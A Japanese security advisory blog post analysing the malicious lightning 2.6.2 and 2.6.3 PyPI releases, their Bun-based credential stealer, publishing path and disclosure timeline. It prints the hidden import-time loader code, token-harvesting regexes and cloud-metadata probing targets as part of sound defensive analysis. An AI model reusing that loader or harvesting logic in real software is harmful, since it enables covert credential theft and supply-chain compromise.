Skip to main content

lightning PyPI侵害:Python向けBunベースの認証情報窃取マルウェア

2026年4月30日

0 分で読めます

2026年4月30日、人気のlightning PyPIパッケージから悪意あるリリースが2つ公開され、以前pytorch-lightningとして配布されていたディープラーニングフレームワークに影響しました。バージョン2.6.2と2.6.3には、隠し_runtimeディレクトリが含まれており、インポート時にGitHubからBun JavaScriptランタイムをダウンロードし、それを使って約11 MBの難読化された認証情報窃取マルウェアを実行します。最後のクリーンなリリースは、2026年1月30日公開の2.6.1です。メンテナーが公開したバージョンが攻撃者のコードに置き換えられたり、攻撃者のコードが追加されたりするこの手口を、Snyk Learnでは正規パッケージの侵害と呼んでいます。

影響範囲を見ると、pypistats.orgによれば、lightningディストリビューションのダウンロード数は1日あたり311,027回、1週間あたり2,051,273回、1か月あたり7,913,890回です。独立してインストール可能な旧式のpytorch-lightningパッケージも、1日あたり436,296回のダウンロードがあります。PyPIはすでにこのプロジェクトを隔離しており、https://pypi.org/pypi/lightning/jsonはHTTP 404を返します。プロジェクトページには現在、メタタグ<meta name="pypi:project-status" content="quarantined">が設定されています。2026年2月18日のWayback Machineスナップショットには侵害前の状態が保存されており、最新バージョンは2.6.1となっています。旧式のpytorch-lightningパッケージには影響がなく、現在もクリーンな2.6.1が提供されています。

Snykは、侵害された両バージョンを対象とするアドバイザリSNYK-PYTHON-LIGHTNING-16323121を公開しました。公開日:2026年4月30日、開示日:2026年4月29日、クレジット:Peter van der Zee。CVSS 4.0の基本スコアは9.3(Critical)、CWE-506(悪意あるコードの埋め込み)です。CVEは割り当てられていません。影響を受けるリリースはsnyk testで検出され、Snyk Security Databaseに掲載されています。

約11 MBの難読化ペイロードを持つBunベースの窃取マルウェアがTier 1エコシステムに公開されたのは、これで2日連続です。前日には、npmでMini Shai-Huludキャンペーンが発生し、SAPエコシステムの4つのパッケージが、Bunローダーと大容量の難読化ペイロードを組み合わせた同じ手口で侵害されました。lightningのペイロードは、この手法をPythonでラップしたものです。攻撃者はJavaScript製の窃取マルウェアをネイティブなPythonに移植するのではなく、Bunを取得して、npmの攻撃で使われたものと同種のJavaScriptコードを実行する薄いPythonダウンローダーを仕込んでいました。

悪意あるパッケージの内容

侵害されたwheelでは、正規のlightningライブラリファイルが維持されているため、フレームワークは引き続きインポートして実行できます。悪意ある追加ファイルはwheel内の隠し_runtimeディレクトリにあり、主なファイルは次の2つです。

  • start.py(SHA-256 8046a11187c135da6959862ff3846e99ad15462d2ec8a2f77a30ad53ebd5dcf2):小規模なPythonダウンローダーです。https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/<platform>.zipからBun v1.3.13を取得し、そのランタイム上で窃取ペイロードを実行します。このBunのバージョンは、前日のnpm攻撃で確認されたローダーと一致しており、2つのインシデントを結び付ける直接的な技術的根拠の1つです。

  • router_runtime.js(SHA-256 5f5852b5f604369945118937b058e49064612ac69826e0adadca39a357dfb5b1):約11 MBの、1行にまとめられた難読化JavaScriptファイルです。難読化にはjavascript-obfuscator形式の文字列配列ローテーションが使われ、さらに__decodeScrambled()という暗号(PBKDF2/SHA-256、反復回数200,000、ソルトctf-scramble-v2)が用いられています。関数名、アルゴリズム、ソルト、反復回数は、今年初めのCheckmarxとBitwarden CLIの侵害事案から復元された暗号と同一です。

2.6.3のwheelそのもの(lightning-2.6.3-py3-none-any.whl)のSHA-256は56070a9d8de0c0ffb1ec5c309953cf4679432df5a78df9aeb020fbb73d2be9fbです。このハッシュは、PyPIがパッケージを隔離する前に記録された、流出したpoetry.lockファイルに基づいています。2.6.2のwheelは広く固定される前に隔離されたため、そのハッシュを記録した公開ロックファイルは見つかっていません。

実行処理はモジュールのインポートに組み込まれています。悪意ある__init__.pyには、次のコードが追加されています。

def _run_runtime() -> None:
    _runtime_dir = os.path.join(os.path.dirname(__file__), "_runtime")
    _start = os.path.join(_runtime_dir, "start.py")
    if os.path.exists(_start):
        subprocess.Popen(
            [sys.executable, _start],
            cwd=_runtime_dir,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
        )

threading.Thread(target=_run_runtime, daemon=True).start()

Pythonプロセスでimport lightningを実行すると、デーモンスレッドがBun経由で起動するペイロードを、stdoutとstderrを抑制した状態でバックグラウンド実行します。別のコマンドもpostinstallに相当する処理もなく、目に見える副作用もありません。ノートブックでの一度限りのpython -c "import lightning"や、フレームワークを読み込んでバージョンを確認するCIステップを含め、lightning==2.6.2またはlightning==2.6.3をインポートした環境は、すべて侵害された可能性があるものとして扱ってください。

ペイロードは、観測可能な次の3段階で動作します。

  1. 認証情報の収集:GitHub OAuth/PAT(/gh[op]_[A-Za-z0-9]{36,}/g)、npmトークン(/npm_[A-Za-z0-9]{36,}/g)、GitHub App JWT(/ghs_\d+_[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g)を正規表現で探します。また、http://169.254.169.254(AWS IMDS)、http://169.254.170.2(AWS ECS)、https://oauth2.googleapis.com/tokeninfoのクラウドメタデータサービスを調べ、収集したトークンをhttps://api.github.com/userおよびhttps://registry.npmjs.org/-/whoamiで検証します。

  2. リポジトリの汚染:GitHubのGraphQLcreateCommitOnBranchミューテーションを使い、claude <claude@users.noreply.github.com>名義でコミットに署名します。Co-authored-by:のトレーラーを付けることで、悪意ある変更をAnthropic Claude Codeの活動に見せかけます。被害リポジトリに配置されるファイルには、.claude/router_runtime.js、.claude/settings.json、.claude/setup.mjs、.vscode/tasks.json、.vscode/setup.mjs、.github/workflows/format-check.ymlがあります。

  3. npm tarballワーム:開発者のマシン上でローカルのパッケージtarballを改変し、setup.mjsを挿入してパッチバージョンを上げ、npm CLIを介さずregistry.npmjs.orgに直接PUTして公開するコードパスです。これは、Mini Shai-Hulud npm攻撃についてSnykが前日に報告したものと同じ自己拡散ロジックです。

悪意あるwheelは、公開されているlightningのAPIの範囲を変更していないようです。これは、テイクダウンまでできるだけ長くパッケージをインストール、インポート可能な状態に保とうとする攻撃者の狙いと一致します。

悪意あるwheelがPyPIに公開された経緯

lightningプロジェクトのrelease-pkg.ymlワークフローは、長期間有効な保存済みAPIトークン(secrets.PYPI_TOKEN_LIGHTNING)を使い、user: __token__を設定したpypa/gh-action-pypi-publish経由でPyPIに公開します。このプロジェクトでは、PyPI Trusted Publisher(OIDC)は設定されていません。3月19日に作成され、マージされなかった別のfix_package_publishingブランチでは、公開ステップからpermissions: id-token: writeを明示的に削除していました。

これは、悪意あるwheelを配布した公開経路がGitHub Actionsのワークフローではなく、保存済みトークンそのものだった可能性が極めて高いことを意味します。その根拠となる証拠は2つあります。

  • 2.6.2のgitタグはLightning-AI/pytorch-lightningに存在し、3月19日にjustusschockによって作成されています。しかし、対応するrelease-pkgワークフローの実行はpublish-packagesステップで失敗しました。課題#21681(4月20日提出、「PyPIにRelease 2.6.2がない」)によると、その後6週間にわたり2.6.2はPyPIに存在しませんでした。

  • 2.6.3のgitタグは存在しません。refs/tags/2.6.3もGitHub Releaseも、このバージョンに関連付けられたワークフロー実行もありません。それにもかかわらず、今日PyPIにはlightning==2.6.3のwheelが公開されました。

最も単純な解釈は、攻撃者がPYPI_TOKEN_LIGHTNING(長期間有効で、audienceのバインドも公開ごとの承認ゲートもない)を入手し、GitHub Actionsワークフローを経由せず、twineまたは同等のクライアントを使って両方のwheelをPyPIに直接アップロードしたというものです。PyPIに6週間存在しなかったため、カバーとして利用できました。公開が大幅に遅れていた2.6.2を待つ開発者にとって、それを疑う明確な理由はなかったでしょう。これは、SAPが前日に公開したインシデント後のPRで報告されたcap-js/cds-dbsの構造的な問題と同じです。公開ワークフローに、手動承認ゲートなしで公開権限が与えられていました。

GitHubでの開示の経緯

問題を報告する投稿を抑制していたメンテナー側のサービスアカウントがevents/publicフィードを公開したままにしていたため、開示のタイムラインは通常以上に明確に確認できます。

GitHubアカウントpl-ghost(作成日:2020-12-01T15:50:40Z、会社欄:「PyTorchLightning & Grid.ai」)は、開発者アカウントではなく、長年使われているCIサービスアカウントです。Lightning-AI/pytorch-lightningでの過去40件のコミットはすべて定型的な内容("Adding test for legacy checkpoint created with X.Y.Z"または"docs: update ref to latest tutorials")で、PAT_GHOST Personal Access Tokenはrelease-pkg.ymlから参照され、リリースごとにgridai/base-imagesへリポジトリをまたいだ更新をプッシュしています。こうした自動処理のため、設計上、このアカウントのトークンには複数リポジトリへの書き込み権限があります。

本日12:40Zから14:12Zの間に、コミュニティメンバー4人がLightning-AI/pytorch-lightningに開示に関する課題を提出し、pl-ghostはそれぞれを数分以内にクローズしました。以下は/users/pl-ghost/events/publicフィードから取得した一連の記録です。

ISO形式のタイムスタンプ

操作

詳細

2026-04-30T12:40:28Z

ブランチの作成/削除

pgzicpysge(Lightning-AI/litAI)

2026-04-30T12:42:57Z

ブランチの作成/削除

hwofzwmrto(Lightning-AI/utilities)

2026-04-30T13:13:57Z

課題の提出

#21689:nullcharbが提出、「バージョン2.6.3でサプライチェーン攻撃の可能性」

2026-04-30T13:27:01Z

課題をクローズ

#21689をpl-ghostがクローズ

2026-04-30T13:32:35Z

課題の提出

#21690:pvdzが提出、「lightningが侵害されたようです。Shai-Huludかもしれません」

2026-04-30T13:34:54Z

ブランチの作成/削除

uwpkpcguba(Lightning-AI/litAI)

2026-04-30T13:43:57Z

ブランチの作成/削除

dependabot/fix-deds(Lightning-AI/torchmetrics)

2026-04-30T13:47:23Z

課題をクローズ

#21690をpl-ghostがクローズ

2026-04-30T13:59:28Z

課題の提出

#21691:pvdzが提出、「2.6.2と2.6.3が侵害されました。おそらくShai。pl-ghostも侵害された可能性は?」

2026-04-30T14:00:49Z

課題をクローズ

#21691をpl-ghostがクローズ

2026-04-30T14:07:09Z

課題の提出

#21692:pvdzが提出、「注意してください」

2026-04-30T14:08:29Z

課題をクローズ

#21692をpl-ghostがクローズ

2026-04-30T14:11:38Z

課題をクローズ

#21691が再度クローズ

2026-04-30T14:11:48Z

コメント

メンテナーethanwharris:「@pvdz さん、ご連絡ありがとうございます。問題を認識しており、現在調査を進めています。近日中に最新情報をお知らせします。」

2026-04-30T14:12:25Z

課題をクローズ

#21691が3度目のクローズ

この一連の記録から、いくつかの点が際立ちます。

  • 4つのランダムなブランチ(pgzicpysge、hwofzwmrto、uwpkpcguba、およびdependabot/fix-deds)は、Shai-Huludのワーム型書き込み権限プローブに以前関連付けられた、英小文字10文字のパターンに沿っています。5つのブランチはいずれも数秒以内に削除され、ワークフローの実行も発生していません。デフォルトブランチのブランチ保護によって、直接プッシュが阻止されたと考えられます。

  • dependabot/fix-dedsブランチにはスラッシュ区切りと「deds」という部分文字列が使われていますが、Lightning-AIの実際のDependabot設定(正規のDependabotプッシュにはハイフンの接頭辞を使用)とは一致しません。そのため、このブランチ名はこのリポジトリの正規のDependabotプッシュとは一致しません。

  • Issue #21692は、3件のIssueが連続してクローズされるのを見たpvdzによって起票されました。本文は次のとおりです。「@Borda @williamFalcon @awaelchli を参照 https://github.com/Lightning-AI/pytorch-lightning/issues/21691。攻撃者によってIssueが自動的にクローズされています。」 pvdzはSocketのエンジニア、Peter van der Zee氏です。Snykのアドバイザリにもクレジットされており、開示に関する4件のIssueのうち3件を自ら起票しました。

  • Issue #21691は3回にわたってクローズされ、その後メンテナーのethanwharrisによって3回再オープンされました。侵害された疑いのあるアカウントから投稿された内容をメンテナーがモデレーションした状況と一致しており、スレッド内の複数のコメントが組織の管理者としてLightning-AIによって削除されました。執筆時点で、このIssueはオープンのままです。

開示スレッドのクローズ、npmワームとの関連が以前から指摘されているブランチ作成パターン、Dependabot風のブランチ名を総合すると、同一の認証情報セットが侵害され、PyPIへの公開とGitHubリポジトリへの操作の両方に使われた可能性があります。メンテナーの認証情報を侵入口とする手口は、オープンソースのサプライチェーン攻撃で繰り返し見られるパターンです。Snykが以前取り上げたnpmメンテナー侵害の波や、データエンジニアリングの認証情報を狙ったelementary-dataのPyPI侵害もその例です。

関連する別の情報として、GitHubのIssueスレッドにはTeam PCPのブランドを冠したサイトへの.onionリンクも含まれていました。このサイトは、LAPSUS$とのつながりや過去の恐喝活動を主張するPGP署名付きメッセージを掲載しています。PGP署名は独立した検証を受けておらず、主張の内容も未確認です。同じTeam PCPのブランドは、今年初めにSnykが追跡した別のPyPI侵害、2026年3月24日のlitellmバックドアにも登場しています。一方、関連性を疑わせる重要な反証もあります。4月22日のxinference PyPI侵害では、Team PCPのXアカウントが関与を公に否定し、ブランドを使った模倣犯の仕業だと指摘しました。今回のlightningに関する帰属について、各ベンダーの見解は分かれています。Wizは、流出したシークレットをラップするために共通のRSA公開鍵が使われたことを挙げ、より広範なキャンペーンが同一の攻撃者によるものだと高い確信を示しています。Aikidoはこの攻撃を「Mini Shai-Hulud」の続編と位置づけ、Socketは同様の手口を用いる別の攻撃者によるものと評価しています。このつながりが実在するのか、便乗したものなのか、意図的な偽旗なのかは、まだ明らかになっていません。

「PythonにBun」が重要な理由

フォレンジック上、最も示唆に富むのはランタイムの選択です。import lightningの後に実行されるペイロードはJavaScriptで、Python開発者のマシン上でBunを使って実行されます。Pythonを標的とする認証情報窃取ツールにJavaScriptランタイムは不要であり、Bunを同梱すればwheelのサイズも大幅に増えます。最も単純な説明は、ペイロードの再利用です。昨日、Mini Shai-Huludの亜種がnpmのpreinstallフック内で実行したものと同じrouter_runtime.js形式の窃取ツールが、小さなPythonラッパーでBunとJSのペイロードを起動する形で、今度はPythonプロジェクトに配信されていると考えられます。router_runtime.jsの暗号署名(関数名__decodeScrambled、200,000回の反復処理を行うPBKDF2/SHA-256、ソルトctf-scramble-v2)は、SAPのexecution.js、Bitwarden CLI、Checkmarx KICSのペイロードと同一です。これは個別に再実装されたのではなく、ツールが共有されていることを示しています。

これは、より広範なShai-Huludの系譜とも一致します。2025年9月のShai-Huludワーム、600以上のパッケージに影響した2025年11月のSHA1-Hulud後続キャンペーン、年末のHoliday Whisper / Shai-Hulud 3.0亜種、そしてSnykによるレジリエンスに関する教訓の事後分析は、いずれも同じ基本機能を示しています。つまり、トークンを収集し、registry.npmjs.orgに対して有効性を確認し、見つかったnpmへの書き込み権限を使って自身を拡散する、ワーム型のJavaScript窃取ツールです。

Shai-Hulud NPM Attack: Remediation with Snyk


Shai-Hulud NPM攻撃:Snykによる修復。snyk testとSnyk Security Databaseを使って、Shai-Huludの影響を受けた依存関係を特定し、修復する方法を短く解説します。

lightningの侵害は、窃取ツールを書き換えることなく、その機能をPyPIに拡張しています。JavaScriptペイロードをPythonローダーでラップすれば、JSエコシステムのツールをそのまま使いながら、対象レジストリを広げられます。過去48時間の流れもこの見方と一致しています。昨日はnpm、今日はPyPIで、ペイロードの構造は同じであり、検知までの時間も同程度です。

推奨される対応

lightning==2.6.2またはlightning==2.6.3をインストールしてインポートしたシステムは、すべて侵害されたものとして扱ってください。実行チェーンはインストール時ではなくインポート時に動くため、インポートするだけでペイロードが起動します。

  1. 問題のあるバージョンを固定または削除する。レジストリミラーでlightning==2.6.2とlightning==2.6.3をブロックし、lightning==2.6.1(2026年1月30日にリリースされた安全なバージョン)にダウングレードしてください。メンテナーが安全性を確認したバージョンを公開するまで、2.6.1より新しいバージョンにはアップグレードしないでください。

  2. 影響を受けた環境からアクセスできる認証情報をローテーションする。GitHub Personal Access Token、GitHubのきめ細かなトークン、npmトークン、クラウドプロバイダーのキー(AWS、GCP、Azure)、影響を受けたホストの環境変数に含まれるシークレットが対象です。信頼できる別のマシンからローテーションしてください。

  3. GitHubで不正なコミットがないか監査する。ペイロードは、なりすましのIDclaude <claude@users.noreply.github.com>を使って被害者のリポジトリにコミットします。トークンが流出したアカウントについて、この作成者名のコミット、新しいブランチ、ワークフローファイルの変更がないか、リポジトリのアクティビティを確認してください。

  4. CI/CDのログと開発者のマシンを監査する。https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/への外向き通信、不審なbunプロセス、クラウドメタデータを調べるべきではないマシンからのhttp://169.254.169.254またはhttp://169.254.170.2へのリクエスト、影響期間中にlightningをインポートしたPythonインタープリターが新たに起動したデーモンスレッドを探してください。

  5. 開発者のマシン上にあるnpmのtarballを確認する。ペイロードには、ローカルのnpmパッケージを改変し、npm CLIを使わずにregistry.npmjs.orgへ公開できるコードが含まれています。npmの認証情報にアクセスできる開発者のマシンでlightningをインポートしていた場合、npmトークンは流出したものとして扱い、そのマシンに関連付けられたアカウントから最近公開されたパッケージを監査してください。

  6. GitHubでデッドドロップ用リポジトリを検索する。より広範なキャンペーンでは、被害者のアカウントが所有する公開リポジトリにデータが流出します。リポジトリの説明文には「A Mini Shai-Hulud has Appeared」、コミットメッセージにはOhNoWhatsGoingOnWithGitHub:という接頭辞が使われています。https://github.com/search?q=%22A+Mini+Shai-Hulud+has+Appeared%22&type=repositoriesで現在確認できるリポジトリを検索できます。

  7. Snykの検出結果を確認する。影響を受けたプロジェクトでsnyk testを実行してください。アドバイザリSNYK-PYTHON-LIGHTNING-16323121で、悪意のある両方のバージョンを直接検出できます。

今回の脅威モデルから分かること

今回のインシデントから、当面のクリーンアップ作業以外にもいくつかのことが分かります。

攻撃者のツールの再利用ペースは、レジストリ側の削除対応が追いつかないほど速くなっています。悪意のあるlightningのバージョンは公開から約18分以内に自動スキャンで検知されましたが、その間もパッケージはインストール可能で、GitHubの開示スレッドはクローズされていました。昨日のnpm上のSAP CAPキャンペーンから、今日のPyPI上のlightning公開まで24時間しかないことから、単一の攻撃者が複数のレジストリを次々に狙っているか、機能している同じペイロードを模倣犯が再利用している可能性があります。

ランタイムを埋め込んでエコシステムをまたいでペイロードを再利用する手口は、繰り返し見られます。Snykは過去1週間にnpmで、Bunローダーと大規模な難読化ペイロードを組み合わせた亜種を2回取り上げており、今回はPyPIでも確認されました。構造上の重要な点は、wheelを配信したレジストリがどこであっても、認証情報の窃取、GitHubリポジトリの悪用、npm経由での自己拡散のロジックは同じだということです。レジストリごとに侵害を別々の対応トラックとして扱うと、侵害後に共通する攻撃対象を見落とします。

公開経路における障害要因が明確になっています。GitHub Actionsのシークレットに長期間有効なPyPI APIトークンが保存され、Trusted Publisherとの紐付けも手動承認のゲートもない場合、そのシークレットにアクセスできる開発者やCIホストで認証情報が窃取されると、正規のワークフローには一切触れずにレジストリ侵害へつながります。今回のインシデントとSAP cap-jsの侵害はいずれも、同じ対策の必要性を示しています。Trusted PublisherのOIDC紐付け、リポジトリ管理とレジストリ公開でのプリンシパルの分離、そしてリリースがレジストリに到達する前の明示的な人間による承認です。SnykのShai-Huludのレジリエンスに関する事後分析では、より広範な対策を解説しています。Snykは引き続き、より広範なShai-Huludの系譜や関連するサプライチェーンインシデントをSnyk Vulnerability Databaseで追跡します。また、ペイロードの難読化解除が完了し、追加の侵害指標が確認され次第、公開中のlightningアドバイザリを更新します。

Pythonアプリのセキュリティ対策を始めましょう

Snykを使って、Pythonの脆弱性を無料で検出・修正できます。

クレジットカードの登録は不要です。

またはAzure AD、Docker ID、Bitbucketで登録

Snykを利用すると、利用規約およびプライバシーポリシーを含む各種ポリシーに同意したものとみなされます。

続きを読む

Blog

フロンティアモデルは脆弱性を発見した。攻撃者だけがエクスプロイトチェーンを見つけた。

静的解析で欠陥は見つかりましたが、ライブ攻撃テストで侵害につながる連鎖を実証できたのは唯一でした。Evo COS、Claude Security、Claude Code Securityを比較します。

feature insights context
Blog

自律型攻撃はすでに始まっている。防御もそのスピードに追いつかなければならない。

自律型攻撃者によって、防御に使える時間は短くなっています。継続的な検出、修復、検証、予防で、セキュリティチームが攻撃に歩調を合わせる方法をご紹介します。

Blog

Evo ADSのエージェント動作ガバナンスが一般提供開始:MCPの利用を管理

Evo ADSのエージェント動作ガバナンスが、MCPガバナンスから一般提供を開始しました。主要なAIコーディングエージェント全体で、MCPサーバーの利用を検出、承認、監視、記録、ブロックできます。